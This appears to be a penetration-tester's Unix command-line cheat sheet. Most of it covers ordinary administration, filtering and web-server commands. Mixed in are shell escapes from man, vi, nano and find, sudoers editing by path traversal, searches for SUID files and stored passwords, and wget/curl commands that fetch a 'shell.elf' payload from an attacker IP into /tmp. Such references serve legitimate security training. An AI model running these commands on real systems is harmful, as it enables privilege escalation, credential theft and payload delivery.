Skip to content

Unix Command Line

Manual page guide

man <key search>
man -k '^passwd$'

In Manual page, execute !/bin/bash to spawn a shell.

File Permissions

Unix Filesystem

Wiki Unix filesystem

  • /bin - basic programs (ls, cd, cat, etc.)
  • /sbin - system programs (fdisk, mkfs, sysctl, etc)
  • /etc - configuration files
  • /tmp - temporary files (typically deleted on boot)
  • /usr/bin - applications (apt, ncat, nmap, etc.)
  • /usr/share - application support and data files

View the file's permssion

stat myfile
ls -l myfile

Play with text and files

Terminal editor

vi -c ':!/bin/sh' /dev/null
vi
:set shell=/bin/sh
:shell
nano
^R^X
reset; sh 1>&0 2>&0
sudo nano /var/opt/../../etc/sudoers

Finding

find / -name "<name>"
find / -name *history* 2>/dev/null
find / -name *bashrc* -exec grep passwod {} \; 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find . -exec /bin/sh \;

Downloading

wget -O /tmp/shell http://192.168.110.131/shell.elf

wget <uri> -P /path/to/
curl -o /tmp/shell http://192.168.110.131/shell.elf
axel -a -n 20 -o /tmp/shell http://192.168.110.131/shell.elf

Output Filtering

sed -ne '/hades/,$ p' | sed '/hades@/Q' | sed 's/.*hades //'
echo "hacking, penetration testing and bug hunting"| cut -f 2 -d " "
cut -d ":" -f 1 /etc/passwd
cat /etc/passwd | awk -F ":" '{print $1, ":", $7}' | grep "sh"
cat list.txt | sort | uniq -c | sort -r
ifconfig | grep eth0 -C 1 | grep inet | cut -f10 -d' '
grep -v "Nmap"

Redirect

cat > filename <<EOL

Some text content
Some text content 2
Some text content 3

EOL
ls > list.txt
cat list.txt
Desktop
Documents
list.txt
echo "Add new" >> list.txt
wc -m < list.txt
find / -perm -u=s -type f 2>/dev/null

Processes

Running services and kill

ps -ef
ps aux
ps -fC <process-name>
kill <id>

Checking running services

sudo ss -antlp

Checking all available services

systemctl list-unit-files

Monitoring

sudo tail -f /var/log/apache2/access.log
watch -n 1 <command>

SSH Service

sudo systemctl start ssh

Start SSH service automatically at boot time.

sudo systemctl enable ssh

Web Service

Apache2

sudo systemctl start apache2

Python

python3 -m http.server 80
python -m SimpleHTTPServer 80

php

php -S 0.0.0.0:80

busybox

busybox httpd -f -p 80

Start HTTP service automatically at boot time.

sudo systemctl enable apache2

Screenshot

cutycapt --url=$ip --out=$ip.png